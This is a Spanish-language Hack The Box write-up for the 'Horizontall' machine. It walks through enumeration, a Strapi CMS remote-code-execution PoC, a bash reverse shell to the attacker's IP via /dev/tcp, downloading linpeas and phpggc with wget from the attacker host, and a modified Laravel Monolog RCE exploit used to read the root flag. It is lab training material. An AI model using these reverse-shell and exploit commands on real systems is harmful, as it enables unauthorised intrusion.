
HackTheBox
Horizontall
Índice▾
Técnicas vistas
- Information Leakage
- Port Forwarding
- Strapi CMS Exploitation
- Laravel Exploitation
Preparación
Reconocimiento
Comenzaremos haciendo un escaneo a los puertos abiertos de la máquina y sus respectivos servicios y versiones.
sudo nmap -T4 --min-rate 1000 -p- -sCV -oN nmap_report 10.10.11.105
HTTP
Podemos ver el puerto SSH y HTTP abiertos, empezaremos por el segundo. Al abrir la web podemos ver que usa un dominio horizontall.htb, por lo que lo añadimos al /etc/hosts.

Gobuster
A primera vista parece una web normal. Por lo que comenzaremos a ver directorios/ficheros ocultos con gobuster.
gobuster dir -u http://horizontall.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 150
Ffuf (Virtual Hosting)
La verdad que no parece haber nada interesante. Como vimos antes corre un nginx. Se puede estar usando Virtual Hosting para tener varias webs en la misma máquina, por lo que seguiremos el mismo procedimiento de reconocimiento.
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://horizontall.htb -H "Host: FUZZ.horizontall.htb" -mc 200
Podemos ver el dominio api-prod, por lo que lo añadimos al /etc/hosts también. Y volveremos a hacer el mismo reconocimiento.
gobuster dir -u http://api-prod.horizontall.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 150
Probaremos a entrar primero a /reviews a ver que econtrarmos:

Parecen ser reseñas de usuarios. Buscaremos en /admin:

Strapi
Vemos que es un panel de login de administración de strapi. Investigando si vas a la ruta /admin/init te debería dar la versión como podemos ver:
3.0.0-beta.17.4
Explotación
Buscando vulnerabilidades podemos encontrar una que incluso tiene un PoC (Enlace). Copiamos el código en python y lo ejecutamos apuntando a la máquina víctima:

Como podemos ver ya tenemos RCE por lo que vamos a intentar crear una reverse shell. Nos pondremos en escucha con netcat en el puerto 6969 y ejecutaremos la shell:
nc -lvnp 6969bash -c 'bash -i >& /dev/tcp/10.10.14.16/6969 0>&1'
Y ya tendríamos una shell con la máquina víctima. Al mirar en el escritorio del usuario developer podemos ver la user flag:

Escalada de privilegios
Ahora tocaría la elevación para conseguir la root flag. Usaremos linpeas.sh para descubrir la máxima información posible por lo que descargaremos la release y la subiremos al servidor de python para poder descargarlo desde la máquina víctima:
python3 -m http.serverwget http://10.10.14.16:8000/linpeas.shchmod +x linpeas.shAl ejecutarlo podemos ver algo raro y es que internamente hay 2 puertos abiertos:

El 8000 y el 1337, si hacemos un curl del 8000 vemos lo siguiente:

Vemos que usa la versión 8 de Laravel un framework de PHP por lo que podríamos buscar si tiene alguna vulnerabilidad.

Hay un RCE para esa versión, buscando he encontrado un exploit para este CVE, pero deberemos cambiar un poco el exploit ya que no puede hacer un git clone por el DNS.
os.system("wget http://10.10.14.16:8000/phpggc.tar")
os.system("tar -xvf phpggc.tar")Cambiaremos esas 2 líneas por la parte del git clone. Lo descargamos desde la máquina después de haberlo comprimido e iniciado el servidor web en local. Ejecutamos el exploit.py:
python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 "cat /root/root.txt"Y así obtendremos la root flag.
Máquina comprometidaPwned! · ver logro en Hack The Box
Relacionados